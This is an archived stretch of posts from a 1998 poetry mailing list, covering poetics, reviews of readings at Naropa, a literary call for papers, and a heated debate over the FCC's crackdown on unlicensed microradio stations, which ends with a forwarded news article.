Definitely, even if much of the formative chronology can only be guessed at, because language evolved as spoken language rather than as written. Writing was rare and more conservative, for the longest time. However, we can often learn more about our ancestral history from what I would refer to as a "deconstruction" of language than we can learn from many historians. We can find the patterns of thought that historians often politely avoid mentionning. We can find that our ancestors were not as noble, and more savage, than we would like to believe. We can find elements that point, even if vaguely, at some of the traditions and customs that we still are prey to, even if in a more idealist manner than the direct, materialized, forms of actions common to the past.

For example when we burn or flame someone we no longer, typically, do it by tying them to a wooden stake and heaping dry timbers around them to which we then toss a light. When we grill someone we do not put them on a 'barbeque" and actually roast them. Our ancestors did not know any different than

a grilling, roasting, or flaming, is what it is. A metaphoric, or idealized, meaning would have been mostly incomprehensible to them.

I find it humourous that we refer to the idea of taking it literally as being a fault. We rightly value depths of meaning as presented in language, but this misleads us about the past, and that is what is humourous. In fact the past was more a matter of taking it materially, as enacted fact or as material phenomenon, distinct from our own emphasis upon literal as metaphor, analogy, simile, and other similarly idealized nuances. The increased tendency towards idaelism is a more modern phenomenon and we tend to read it into the past, the same way as some find modern rockets depicted in ancient Egyptian monuments.

Of course writing was edict. It was the word of the lord to be made into flesh, but in a very unmetaphoric manner. It was the command to be enacted as action. It was to be taken literally. There was no idealization possible in that either. So now we strive to maintain that language is more properly an idealist representation, not to be taken literally. Ah, the ironies....which are in fact reminiscent of the dungeons of long ago and ancient conflicts of wars where a man's iron was tested as iron implement, and not as much as purely willpower or the matter of character.

M.

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741. Mark Prejsnar
Re: "Cultural Workers"
Fri 19 Jun 1998

Not only can whining be fun but i ain't even heard that much of it round here!!! (OK OK that's not true...but not whining about making a living!!)

As a socialist activist for 25 years, and a working-class person, i gotta say this strikes me as pretty, uhh, unnecessarily snotty, shall we say? i know lotsa folks who have struggles to get thru (many of 'em aren't even writers, by golly)...and they don't need to have steel dropped on 'em in a shipyard, for things to be tough!!

Bobbie is one of our truely exciting new poets, and everone should read her work...But this post and the huzzas it got, are rather typical of that reverse snobbery anti-intellectualism that de Tocqueville pointed out was so very U.S. .....

movin' on down the whine,...
mark

On Thu, 18 Jun 1998, Maria Damon wrote:

> *At 9:22 AM -0700 6/18/98, Peter Balestrieri wrote:*
> *Bobbie West wrote: Have you tried working in a shipyard? A man here had a ton of steel dropped on his legs last week.*
>
> *Right on, Bobbie!*
>
> *To all the "cultural workers" struggling to make a living: have some cheese with that whine!*
>
> *PB*
>
> *my sympathies w/ the above. but whining can be fun, in proper context. frankly, i have a great life. if i weren't a "cultural worker" who'd found a respectable niche (went into the family business as it were, tho far from home) i'd most assuredly be on SSI.*

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742. **Henry G**
Re: "Cultural Workers"
Fri 19 Jun 1998

manual labor = memory = heavy anchor of life.

↑ Index

743. **charles alexander**
Re: Art, Poetry, context
Fri 19 Jun 1998

Mark,

I like the way you outline the choices poets make in their work, attributing causation for such choices to the lack of real market expectations of that work. I think that is at least partially correct, although I would be disturbed to think the no-market reason (or, for visual artists, the yes-market reason) was the only causation for what kinds of work gets made. But I still think your characterization of the art world, and its relation to the high-art market, is nearly as limited in its view as if one were to look only at literature through the world of money-making books and their relation to the literary market.

A lot of artists are engaged in a lot of different things. Book arts, mail art, muralists' art (almost entirely publicly subsidized, but, in my experience, most money which goes to muralists' work barely pays, and sometimes doesn't pay, for paint, preparation of surfaces, and other such necessities), and much more, are all part of what visual artists do, and one could say that these choices, too, are made because there are no "market" possibilities for artists so engaged. A

portion of the 1970's explosion in "artist's books" as a medium was directly due to the sense of many artists that the gallery system was closed to them, and there was a need to create art which was inexpensive to make and to buy, easily distributable/highly portable outside the existing art market systems, and which could get close to its audience in ways which were nearly impossible for more traditional forms of art. One could say that there are forms in poetry and visual art which intend to be oppositional to the existing market structures. Whether they are or can be successful in this opposition is a more problematic matter, it seems to me.

None of what I say denies your point that a lot of artists (and perhaps most) have expectations of selling their work, at some level, for some remuneration, and that it is the overall art market which gives these artists such expectations.

charles

> *But the way the art market shapes particular life-choices, and the work itself, and how it impacts our overall conception of "what art (and artists) are"--these things do follow a dynamic predicated on the idea of actual remuneration for creative work. Not so with poetry. Different set of structural expectations..*

chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax

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744. Brent Long
Re: _Book of Mercy_ /more recent work
Fri 19 Jun 1998

Anthony,

Thanks! I'll check it out this morning...

Brent

At 03:53 PM 6/19/98 -0000, you wrote:
>Brent,
>
>here's a wonderful site:
>
>http://www.nebula.simplenet.com/cohen/indez.html
>
>it's an unofficial, wide-ranging look at Cohen's work & life.
>There's also _The Blackening Pages_ (which is what Cohen
>calls the process of writing/editing). There are some interviews

>(some in real audio), and lots of great graphics.
>
>Best,
>
>Anthony
>
>
>
>.....
>Anthony Lawrence
>PO Box 75
>Sandy Bay
>Tasmania 7006
>
>
[redacted]

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745. **Pritchett,Patrick**
Re: Weiner's _Code Poems_
Fri 19 Jun 1998

You're perfectly right to say so, Robert. To place it in context, I was merely relaying remarks made by Rakosi about LZ at a panel here at Naropa the other day. More really in the nature of gossip than anything else. Carl, afterall, is 96 years old. Perhaps the urge to rehash old gripes with his dead compeers is just too much to resist.

Pound: When one's friends hate each other/how can their be peace in the world?
Their asperities diverted me in my green time.

Patrick Pritchett

From: Robert Zamsky
To: [redacted]
Subject: Re: Weiner's _Code Poems_
Date: Friday, June 19, 1998 10:48AM

I've been off list for a while, and was just wondering what the context was for Patrick Pritchett's recent comments on Zukofsky. As I read them, they seem commensurate with all too much that gets said about LZ -- biographical supposition instead of critical engagement with the poet's work. So what if he didn't swim or ride a bike until thirty; who is any of us to say that in marrying Celia he

chose the wrong woman (and, even if he did, so what); and, why does "clarity" get elided with confessionalism? You'll notice that only the last of these three has anything at all to do with his poetry.

I may be taking these comments in completely the wrong way, so I'll just stop and ask for context before I go into a diatribe about the state of Zukofsky scholarship, and what I see as at stake in his work -- what this particular kind of clarity means, and how I believe it is profoundly (and sometimes comically) achieved in his poems.

Robert Zamsky

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746. Douglas Barbour
Re: for Chris A (Gwen M etc)
Fri 19 Jun 1998

For Chris Alexander (& any others)

A few of Gwen MacEwen's books, some of them (most out of print & all published only in Canada):

A Breakfast for Barbarians (1966; still one of her finest)
The Shadow-Maker (1969)
Magic Animals selected poems (1974; 1984)
The Fire Eaters (1976)
The T.E. Lawrence Poems (1982; an amazing reading through of his writing'him)
Afterworlds (her last book, 1987; maybe still available from McClelland & Stewart)

& a two volume selected from a few years ago published by Exile Editions, maybe still available.

Since I mentioned it, here's the poem dedicated to Duncan from Afterworlds:

The Lion
for Robert Duncan

To love is to be remarkable, and flawless.
It is to wear the yellow crown of a flawless beast
Forever.

It is to inhabit the flawless and exceeding universe
Forever.

It is to summon the wonderful numbers
Which add up to the mighty stars.
It is learning to divide and multiply by these numbers.

I swear by all the famous, ancient lions I have known
That the mighty children yet to come
Will foster fiiner stars,

For they are the true lords, born of morning,
Whose coming will call us down
Like a deck of cards.

To love is to be remarkable, and flawless.
It is to wear the yellow crowns
Of all the gods.

This kinda shows her strengths & weaknesses both.

And might explain Phyllis Webb's ambiguous elegy:

Gwendolyn NacEwen 1941-1987

Gwen, I didn;t know it had been so bad, such a long way down these past months to the _Afterworlds_, or that the door and the blue wings opened and closed in that sound of death you said you knew the tune of. Your last poems so big with cosmos & semen & gold -- and I'm afraid adjectives that came too easily over the years: _terrible_, _splendid_, _fabulous_, _wonderful_, _remarkable_, _dark_, _mighty_, -- all of which you were as your cat waited to take over the typewriter and get on with its sublime works while you were out colliding with Barker Fairley in a metaphysical blizzard or handing a coin to the ferryman for the last ride.

The Loneliness of the Long Distaance Poet. _Red Curtains_. _The White Horse_. _Late Song_. _A Stillness of Waiting_. _The Death of the Loch Ness Monster in the vast spaces of the subatomic world where matter has a tendency to exist... Here where events have a tendency to occur..._

As you lay there dying in seizure was it your lord Life or your lord Death who came to collect a last poem as you careened into _the beautiful darkness_? nd was it really beautiful? Tell me. Was it dark? Or did the cat get your last fabulous word?

But then I often enjoyed MacEwen, loved some of her work, but I am *always* in awe of Webb...

==========
==========
Douglas Barbour

Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

it's an unofficial, wide-ranging look at Cohen's work & life. There's also _The Blackening Pages_ (which is what Cohen calls the process of writing/editing). There are some interviews (some in real audio), and lots of great graphics.

Best,

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

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749. **Judy Roitman**
Re: Judge Backs FCC... correction
Fri 19 Jun 1998

> *Andrew wrt:*
> *OAKLAND, CA -- A federal judge allowed the government on Tuesday to shut down "Free Radio Berkeley", run by an unlicensed low-power broadcaster*
>
> *And here's what the FCC did to our local microbroadcast station. They simply assigned the frequency to a local fundamentalist Christian group wanting a radio license. This was not at the instigation of the Christian group --- when you apply to the FCC you don't specify frequency.*
>
> *No muss, no fuss, and no lawsuits pending.*

And I just found out that it wasn't a local Christian group, but a local affiliate of a national group --- the broadcasts will come out of somewhere way up north, maybe it's a Dakota, I don't know.

Power to the conglomerates.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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750. **Mark Prejsnar**
Re: Art, Poetry, context
Fri 19 Jun 1998

Charles:

Actually your comments are quite accurate. Yes, there are lots of viz artists who inhabit (who create for themselves) a world much like that of poetry, with practices and values that reject commodity definitions of worth. My failure to acknowledge that was due to my intense interest in running down certain thoughts I was having about the situation of poetry, which were being clarified in my head somewhat by thinking about what made our situation **different** from that of other arty types...

But yes you're quite right: i was simply failing to remember soemthing i know well, namely that much viz art production is anchored in values much like those of the poetry world, with concern for the activity and (perhaps) its products being foremost, and little belief in the values of marketplace and of the celebrity machinery.

A good example of tunnel vision, resultant from staring too hard at one group of ideas only!

chastened,
mark

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751. **Erik Sweet**
####1
Fri 19 Jun 1998

---

morpheal !

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752. **Martin Spinelli**
checking that m strain -- was FCC & Microbroadcasters
Fri 19 Jun 1998

>>>M writes<<<
>>That is, they ought to be licensed, and
ought to have to keep logs of their broadcasts. Unregulated use, without adequate log tapes of actual program content having to be maintained, leads to use of such equipment as a means of unfair competitive practice, where individuals who have that technology can use it to compete against other

individuals in extremely hostile ways, in effect endangering true freedoms
of speech and the press.<<

When, especially in the history of broadcasting, has "competition" ever been "fair"? It's the dominant system precisely because it benefits and sustains an unequal condition. Bigger competes better--but this is stating the obvious. Is it fair that tiny embattled Dunifer, who goes out of his way to have his tiny little signal not come close to the big boys' (which is merely a politeness because--as is the case ideologically as well--the big signal *always* erases the small one), should have to go through the same process as the non-local (Murdoch?) multi-billion dollar EBI? How would "fair" competition negotiate size? (<--that's a real question) "It's a level playing field, except for those who own it." CB (from "Like This"... I think)

But what waffle is this:
>>individuals who have that technology can use it to compete against other
individuals in extremely hostile ways, in effect endangering true freedoms
of speech and the press<<?

So speaking then actually endangers free speech?!?!

>>Unregulated there is also very little that could be done about covert usage
by aliens who have aggendas contrary to the political, economic, and
socio-cultural interests of most Americans or Canadians. Such technologies
easily lend themselves to use as a mechanism for brain-washing,
propagandizing, and proseletyzing. The question becomes where is the line to
be drawn between freedom of speech as debate between somewhat enlightened
individuals or groups, and ignorant, ideological, radio-frequency attacks
that can potentially infiltrate any legitimate bandwidth in any geographic
area ?<<

Your answer, as always although you couldn't put like this, is that "our" ideology is simply better than everyone else's ideology. And that (ironically) because it's better it should be specially protected--see the Endangered Ideology Act of 1956 which makes it a federal crime to hunt or trap ideology except for personal consumption.

An un-easy listening tip for all Listafarians on the east coast (that include you Morphy because you should hear this?): Radio Havana (Cuba), "Broadcasting from free territory in the Americas", every evening on 6010 Short Wave.

>>Non licensed, non accountable, non logged, stations do need to be tracked
down technologically and eliminated.<<

Little needs to be said about your (what else can I call it?) neo-fascism, but I do want a few words about this "tape logging" and "content monitoring" you're on about. With ten years (licensed) radio experience in two states I have *never* encountered this tape logging as you describe it. *Written* transmitter and EBS logs and play-lists must be kept, but stations don't make tapes and then mail them to the FCC--anxiously awaiting a pat on the head from Big Brother. The real barrier, the real filter, the real censorship is precisely that of getting a license. It costs *thousands* (maybe now *tens of thousands*) of dollars in legal and engineering fees (going primarily into non-local pockets) to start up a new station. But the real dissuasion is the time this takes--we're talking years! (One group in Buffalo has been waiting seven years--maybe eight by now--for the initial engineer survey of the spectrum to be completed.)

Content is not monitored from above, the only overt restriction being the "community standards" internalized by the station head honchos (dirty words, etc.). But the real girdle around radio that is local in content (or unusual in form) is participating in this kind of "Godzilla eat Dog" competition so celebrated by you. This is happening (obvious if you listen) on "non-commercial" radio as well--an adoption of programming formulas which marketing analysists can "demonstrate" (to advertisers or underwriters) produces and "holds" a steady audience of "consumers" (not merely "listeners"--an important distinction in the discussion of radio "democracy"). (Aside: Deregulation in the 80s did much to harm local content by reducing "public service" requirements and eliminating the requirement for news staff, opening the door for completely canned stations.)

THIS IS *VERY* BAD NEWS FOR **POETRY**! Obviously. As it, as some have suggested here recently, can resist (it is certainly seen as resisting by station and program managers!) commodification, it is approached by default as "bad radio". Hence efforts to commodify it to fit into a holy format are prevalent (and even "well-intentioned) but usually (for me) unbearable. This typically gives poetry a kind of MTV-treatment, wrapping it up in irrelevant and schlocky music.

Bob Holman, you have other experiences in this sphere I'm sure. Please tell me I'm not a crank (if you're listening).

Be well,
Martin

Martin Spinelli SUNY Buffalo English Department
Granolithic Productions

[redacted]
LINEbreak http://writing.upenn.edu/epc/linebreak
ENGAGED http://www.engaged.demon.co.uk

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753. **david bromige**
hawkwind's Best O the Best
Fri 19 Jun 1998

Anthony, this is all news to me, so I feel underinformed . . .can you fill in the blanks? Simic and Tate expressed their opinions of an anthology edited by Harold Bloom? Is that what you're saying? If correct, please say where these opinions may be read. Could you backtrack over this terrain & fill in some fractals? Thanks a lot. David

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754. **hawkwind**
Best of the Best
Fri 19 Jun 1998

This may well have been covered before I came online, but what do people think of Bloom's intro to the 1998 Best of the Best anthology? I've got the Rich anthology and thought there were some good poems in it, but it's nowhere near my favourite. That would be either the Simic or Tate selections. His comments were certainly provocative: "I failed to discover more than an authentic poem or two in it" & "... a monumental representation of the enemies of the aesthetic who are in the act of overwhelming us. It is of a badness not to be believed..." I'm keen to hear people's reactions to that particular year's selections, and Bloom's inflamatory essay.

Again, if this has been discussed, the dead horse gets the message...

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

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755. **R. Gancie**
"Mathematical logic is so Utopian."
Fri 19 Jun 1998

"In modern times, one of the earliest concerns with mechanism is related to attempts to develop a completely formal, content-free foundation for mathematics. The "Hilbert program" is one of the most ambitious attempts to build up mathematics by purely formal means, without regards to questions of what the formalism was about. In the work of Frege, as well as Russell and Whitehead, some of this enterprise was successful. On the other hand, a great intellectual achievement of the modern age has been the demonstration by purely formal means that the ULTIMATE GOAL OF COMPLETE FORMALIZATION is, in principle, not achievable. (The original work was done by Godel and susequently by Turing, Church, Post, and others; see the collection of papers at Davis, 1965.)---from Computation and Cognition by Zenon W. Pylyshyn---[Py]+[Ly]+[sHy]n--cp. What would a purely formal, content free foundation for poetics look like? Langpo?

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756. **Linda Russo**
Re: FCC Shutdown of Radio Microbroadcaster [need for mor
Fri 19 Jun 1998

c'mon chris don't be so hard on morpheal

There's a real danger of Americans getting off their asses & partaking of public discourse. Getting off their asses which are brainwashed from consumerist conglomerate media (t.v. mostly, as the visual image is more daunting psychologically, i think, with the added impact of sound) -- so ranting agendas, attempted brainwashing even, would be a good sign as far as i'm concerned. A little public ranting helped get Nike to stop exploiting child laborers, granted we're all brainwashed by the PC rhetoric that made us care about the relationship between our footware & actual slave laborers.

i agree about the wave-thing -- why do you think I won't let us get a microwave? Those are regulated by the feds too & that's how you know to stay away.

I agree with you especially about the fact the way the fcc favors consumerist conglomerates -- i absolutely CAN NOT get "have a coke and a smile" out of my brain & it makes me look so OLD to my students since I stopped listening to commercial media years & years ago.

> *The same criteria ought to apply as are applicable to what are presumed to be responsible larger broadcasters. That is, they ought to be licensed, and ought to have to keep logs of their broadcasts.*

> *well, Bob - number one, I disagree; but #2, the whole issue here is the licensing path the FCC has chosen for these microstations, viz., charging application and engineering fees that are equal to the fees they ask of wealthy broadcasting corporations - in effect making it $$ prohibitive for independents and communities to take advantage of the technologies you're talking about, except by operating illegally. it's a catch-22 the FCC has instituted, and in the name of protecting the citizenry from - wha, spies and aliens?*
>
> *booga booga. no, as far as I'm concerned this is just another visible (audible) foreclosure of localized public discourse in favor of media conglomerates and the consumerist imperative...*
>
> *btw - for somebody who, as I recall, is vehemently anti-gun control, you're sure hungry to get the feds up everybody else's ass, aren't you?*
>
> *chris*
>
> *..*
>
> *Christopher W. Alexander etc. / nominative press collective*
>
> *email: [redacted] / [redacted]*
> *snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402*
> *press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/*
> ***site temporarily unavailable***

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757. Alan J.J.N. Sondheim
VIRTUAL HELLS
Fri 19 Jun 1998

-

VIRTUAL HELLS

No hilites. %2d %2d %s >> This place NEEDS no introduction! ./cl.intro >> There IS no help for you! ./cl.help >> There is NOTHING to say to you! ./cl.announce >> The Den's been up for >> your termtype not found. >> .p hiliting enabled. >> .p hiliting turned off. Lines gagged: You have no lines gagged. >> Gagging youself with a spoon? is gagged! Ha ha ha! >> User >> You just ungagged line >> Nameservice on. >> Nameservice off. bad time argument >> Later, dude!) for new site block (ID expire site blocked %4d never bad site block ID Deleted site block >> System Msg:

Reboot new passwd = usernum = fuckwit. get it right. >> Idle timeout has been disabled. >> Idle timeout has been enabled. >> Idle timeout has to be in the range between >> Idle timeout has been set to >> Idle timeout is

>> %s just tried to force you... >> Player %d gagged. >> Player %d ungagged. >> %s has at least as much authority as you! >> fatal: You've been killed. >> Hope you enjoyed your stay. BRING_IT_DOWN

Sorry - the system is closed to further logins at the moment Sorry - we are full at the moment, try again later Sorry - you're site is banned Sorry - you can't use that command You are already listening! You listen to the gossip %s is now listening You are already being antisocial! You ignore the dull gossip %s is ignoring everyone *** News *** newsfile There is no news today *** System is now closed to further logins *** %s CLOSED the system Total of %d users signed on Shout what? %s shouts: %s Someone shouts: %s You shout: %s Usage: .tell <user> <message> %s is not signed on Talking to yourself is the first sign of madness %s is not listening You ask %s: %s %s asks you: %s You exclaim to %s: %s %s exclaims to you: %s You tell %s: %s %s tells you: %s %s whispers something to %s Area: %s Exits are: You can see: You are alone here

There is no such area You are in that area now! walks in arrives in a blinding flash! That area is not adjoined to here Sorry - that area is currently private %s disappears in a puff of magic! %s goes to the %s Some magic disturbs the air %s %s That area is public anyway You shout into the %s asking to be let in! %s shouts asking to be let in! Someone shouts asking to be let in! %s shouts into the %s asking to be let in! This areas access can't be changed public private The area is already %s! Area now set to public %s has set the area to public Someone has set the area to public You need at least %d people in the area Area now set to private %s has set the area to private Someone has set the area to private Usage: .invite <user> The area is public anyway You can't invite yourself! %s is already in the area! Someone has invited you to the %s %s has invited you to the %s Usage: .emote <text> Someone %s

You write the message on the board
A ghostly hand writes a message on the board
A ghostly hand wipes some messages from the board
You are already visible!
You are already invisible!
POP! You reappear!
You fade, shimmer and vanish...
Suicide is not an option here no matter how bad things get
That wouldn't be wise....
A bolt of white lighting streaks from the heavens and blasts you!!
You have been removed from this reality...

There is a rumble of thunder
Are you sure about this (y/n)?
Quitting users...
A force grabs you and pulls you through the ether!!
BRING_IT_DOWN

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758. **Pritchett,Patrick**

Re: Naropa Readings

Fri 19 Jun 1998

Wednesday night I missed, alas, what one person described to me as an extraordinary performance of poetry and music by Anne Waldman and Claude Brown, revolving around various works and texts of John Cage.

On the bill for Thursday night's readings were Douglas Oliver, Eleni Sikelianos, Andrew Schelling and Olga Broumas.

And let me clear up something right at the outset here: Doug Oliver in no way meant to say that young writers of today have no anxieties to deal with. What he meant was that their anxieties are different from the ones which the previous generation had to cope with and that this in turn produces the emergence of different poetic forms. (Honestly, some people are so picky!) Let me clear up that last remark by stating emphatically and at once that Douglas Oliver is a real sweetie. (Whew!)

Oliver's reading began with a selection of crisp, delicate elegies from a work-in-progess called _Tenth Arrondissement_. He prefaced his reading by remarking that the street he lives on in this district was once the home to both Heinrich Heine, who lived at one end, and Paul Celan, who lived at the other, observing that this chance polar arrangement, far from constituting a mutual exclusivity, comprises a magnetic field of force - from limpid clarity to the densest logos - in which the full range of poetic possibility can form.

From "Forearms": (in part, a meditation on political violence) "one day there's a youth's flayed arm but no youth." From "A Little Night": (a lyrical turn on Celan) "hostility of moths around the candles," "Our shadows lack performance ... they are a text created by the dusty mirror." "the word I care about wakes ... Celan ... and performs itself." "Crystal Eagle" continued this theme - a terse, bittersweet homage to Celan's life and death - "there's future silence in the non-forthcoming of the Rue de Paradis."

"For Giselle Celan," a poem for Paul's widow, with whom Oliver shared many meals before she died, and his closing piece, "Well of Sorrows in Purple

Tincture," (a sort of elegy for family) exemplified his poetic virtues in the elegaic form, as I read them -- an elegant, finely felt diaristic narrative that's light on its feet but covers a large amount of conceptual territory with ease. But above all these poems are distinguished by the conspicuous clarity of their compassion. "See my father falling on the fairway of life. The whack gone out of the game, the blood gone out of the brain."

***

Eleni Sikelianos read next, beginning with poems from "To Speak While Dreaming." "These hand like crickets ... hold out for the slender boat ... I do trust numbers enough to write their signs" - from a sonnet written while Allen Ginsberg read early English poetry and the work of Smart.

Followed by work from the more recent "Book of Tendons." From "Gold Trout" - "laying on top of heat's papers in a dress ... marigold, I wish the ground were hot or not ... stars mar no man light as a feather therefore his shoulders gather up light ... touched the bone button, brought the row house down." "May was a cavernous month, a thing sweeter than a yam."

Then a poem entitled, after Montaigne, "Of Cannibals, Of Thumbs," which Eleni described as "essays that never got anywhere." "When I think of sex some people think of seals barking but I think of shrimp in bleach."

And in closing, a long portion of a work-in-progress tenatively titled, "The Booklet of My Dream of Living in California." Which figures partly as a place of fable, and offers such delightful lines as these, "in which Alexander the Great invented the caterpillar personally." "My dream of seeing Michael Douglas in an elevator. Not that satisfying." "Like El Nino doing a brodie in the air."

A languid, serpentine history of California as Eden and desert. The growth of the pain of the nomad self in its intersections with geography - geography as both personal and public history. Marked, like all her distinctive, inventive work, by percussive turns and slippery cadences, the sense of floating enigma, now enlarged, now contracted, where language is the play and element of riverine wit and seduction.

*** Andrew Schelling began his reading with a poem dedicated to Allen Ginsberg. It ranged widely: from the London house where Blake wrote "Jerusalem" and "Milton," (and where the custodians were replacing the forge with the hard drive) to the Rocky Mountains. From Blake's immortal tyger - the first lines of which Schelling translated into Sanskirt - a startling effect, making it even more tygerish! - to the American cougar. "Frame old symmetries [with] new poems."

This was followed by a series of haibuns-in-progress. From Black Earth: "sweet taste of dharma not for humans alone." From Western Tanager: "If mountains and rivers are the continent's Sanskrit, then birdsong is local vernacular ... Your

bards are wearing wingbands of gold." A haibun in which the poet dreams he meets Don Allen, dying in a mosque. "And then I realize the mosque is also his project, empty but for the black calligraphy." Raven Haibun (for Jane & Anselm Hollo): "Raven says - there is going to be another Judgment Day." And from other haibuns: "A peak called Quandary. A bar called Rocky Flats." "Do not despise this forearm - it was Zebulon Pike's - a grubby note attached says it tastes salty." "You ask how the gods toy with we mortals? Go get a field guide to the tundra."

Andrew closed with translations from Classical Indian poetry, the earliest dated circa 1000 BCE.
"Last night, what ecstasy - today she tosses her head and won't look at me."
"He steps into the moonlight and just for a moment it's like he's vanished into another country."
"We make love in the common position - he calls it sedate. We try something new and he asks where I've learned it."
"My wound begins to itch madly for love."

I think Schelling's work answers admirably to Charles Alexander's query to the List of some weeks ago about where have all the nature poets gone? Along with Jack Collom and Merrill Gilfillan, he belongs to a small company of poets who are actively engaged with the rhythms and pulses of the natural world. But I was particularly taken with his translations this time around. Brief and deceptively simple, they convey an entire world of complex human interactions, foregrounding the bitter and the sweet, what might be called the eros of the quotidian, the ancient bedrock of poetry - where our endless anxieties are allayed by the perpetual turn to, the renewal of, form.

***

Finishing the evening was the delightful and endearing Olga Broumas, who began by reciting a brief, sweet lyric in honor of Rachel Blau DuPlessis.

Then some poems in homage to Sappho, who, she reminded us, wrote when God was still a feminine deity. "Spasm my breaks downhill oak." "I am what astonishment can bear, pupil only to you, fleece of dew." And from "Pastoral Jazz," (I think) - "almost ultraviolet with so much witness - the garbage trucks suspended in shy light." And a poem about her practice as a body worker: "Always an angel rises from the figure ... I bow to riddle of the ear ... helpless with harmonics." A poem called simply - "Instructions." "One must be sitting in one's chair before smoking opium so that one will not have to walk to it later." And from another poem - "the sun is full today - swallow it all - merci." "For Bobbie Louise Hawkins (who mentioned acid)" - "To relax all force and watch the free fall of what happens, the fruit of it ... the string breaks, all is desire."

And finally, "Lumens." "To build a chair, to build a chair, to build a chair. To sit. To sit. Witness the whole world."

Olga is the only poet I've seen on the Naropa stage to take a full bow. She did it quite well. Her "Sappho's Gymnasium," written with T. Begley, remains a source of constant wonder and delight. Like Elytis, whom she's translated so brilliantly, her own work casts a spangled effulgence, a sun-drenched radiance that is also brimming with the tenderness and the murky pith of the chthonic. Hearing her read, you want to be Greek and sing - lilt, jangle, stream. The mystery of the body wash over you, drown you in the deeps of the body.

Patrick Pritchett

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759. **Judy Roitman**
Re: FCC Shutdown of Radio Microbroadcaster [need for mor
Fri 19 Jun 1998

---

morpheal: sleep/shapeshifting/heal(you wish)/heel/eel/hey!al

also: peal/real/meal

and: more,

pal.

(sgnd)

Ralph.

(which ain't the end of it)

↑ Index

760. **David Baratier**
fcc
Fri 19 Jun 1998

As a person who has been run out of town by an individual using his micro-station and replaced through a witness protection program perhaps I should respond to this. Not to say my personal vendetta as an illigitimate user hasn't caused infiltration of other frequencies and mediums to gain influence over larger audiences. But as a messiah, political fruitloop, white sheet over head, racist, fascist, cultist, millenialist, wacco(sic), nut will want one, private little war kind of guy this is what I am expected to do. The voices in my head never tell me to mow the lawn but rather to ruin through my new micro station. I have sacked three businesses so far with my food alert broadcasts or, in positive terms, saved many people from being poisoned. Have a problem with that? At

65 watts it squashes restaurants dead though my friend John M. Bennett can't hear it in the North end of Columbus.

Be well

David Baratier

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761. **toddbaron**
Re: FCC Shutdown of Radio Microbroadcaster [need for mor
Fri 19 Jun 1998

---

listserv: re: I concur. If I sneeze twenty mesages appears--all from
the same nostril!
It's getting hard to de-cipher.

tb

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762. **Poetics List**
Postmodern Piracy Festival /Call for Participants (fwd)
Fri 19 Jun 1998

---

forwarded from Doug Rice at [redacted]

NOBODADDIES: An Independent Press of
Pirated Textual and Sexual Identities
Presents:
A Festival of Postmodern Piracy
April 14-16, 1999
Kent State University-Salem (Ohio)
Kent State University-Salem (Ohio)

You are invited to submit theoretical and critical abstracts (100-500 words) addressing any aspect or interpretation of the festival's theme Piracy of Words, Bodies, Subjectivities, Cultures, Identities, or Representations. Panel proposals are also encouraged and should include the panel's title, participant's names, and abstracts. All approaches in the humanities (particularly literary, cinematic, musical, or philosophical) are welcomed. Possible topics include, but are not limited to:

* History and Practice of Plagiarism, Appropriation, or Piracy * Theoretical approaches to Plagiarism, Appropriation, or Piracy * Performances of Plagiarism, Appropriation, or Piracy * Explorations of Contemporary Rewriting of Older Tales * Aesthetic Outlaws, Migrant Tongues * Schizo-Flesh or Infected Texts * Gender Blurring/Blending/Cutting/Erasing * Nomadic Skinshows * Viral

Languages, Theories, Images, Bodies * Transgender Issues of Bodies and Languages * The Politics and Poetics of Transgression * Special Panels and Sessions on the works of Kathy Acker, William S. Burroughs, Ray Federman, Gilles Deleuze, David Cronenberg. * A Colloquium on the NEA and Censorship.

We are interested in a variety of approaches, including works that confuse boundaries of genre, discourse, and discipline; works that analyze primary texts; creative works that perform any of these issues. Selected work will be published in a festschrift celebrating the festival.

Please Address submissions to: Doug Rice Kent State University-Salem 2491 State Route 45 South Salem OH 44460 For further information, please contact Doug Rice at [redacted]

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763. **Pritchett,Patrick**

Re: Naropa Readings

Fri 19 Jun 1998

Joe is too kind! In fact, I owe it all to Steve Carll (who's in Hawaii now).
But Jordan Davis is my true secret hero (who's in New York now). [insert
Latin motto here]

From: Mark Prejsnar
To: [redacted]
Subject: Re: Naropa Readings
Date: Friday, June 19, 1998 4:19PM

On Fri, 19 Jun 1998, Safdie Joseph wrote:

> *I know there's been some pretty heady competition for this award on the list in the past, but I hereby nominate Patrick Pritchett as electronic poetry reviewer par excellence!*

...Indeed, a Steve Carll for our time!

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764. **William Burmeister Prod**

Re: Judge Backs FCC Shutdown of Radio Microbroadcasters

Fri 19 Jun 1998

As advertised. Enjoy.

William

RADIO PIRATES IN ESCALATING WAR WITH RULES

by Richard Danielson

St.Petersburg Times, Nov 28, 1997

As he watched U.S. Marshalls pack up the transmitter at 102.1-FM, a Temple Terrace garage-turned-outlaw radio station, disc jockey Eric "the killa" Ericson didn't expect much sympathy.

But it still surprised him when a Federal Communication Commission official laughed during the Nov. 19 raid and suggested the station's volunteers "find a new hobby." "Some of us live for this," said Ericson, 25, of Temple Terrace. "They're just laghing in our faces about it, thinking it's a big joke." To the contrary, the FCC's raids on three local unlicensed radio stations -- one each in Lutz, Temple Terrace and Tampa's Seminole Heights neighborhood -- were anything but fun and games. They were, instead, but one local skirmish in a nationwide guerilla war over so-called "pirate radio."

The dispute pits a growing band of radio renegades against the FCC and the National Association of Broadcasters, one of the wealthiest and most powerful lobbies in Washington. It also provides a case study in waht happens when technology, government regulation, the quest for broadcasting profits and the defiance of do-it-yourself broadcasters all end up on a collision course.

Look at the technology, and it appears that radio broadcasting stands today where personal computing was five or ten years ago. The cost of low-powered basic broadcasting equipment has come down to the point where a radio enthusiast can put out a modest FM signal with mail-order components costing about $500. The peripheral equipment needed to round out a broadcast setup can run a few thousand dollars more.

Applying for a broadcasting license, however, is more expensive and can require an initial investment of $100,000 or more.

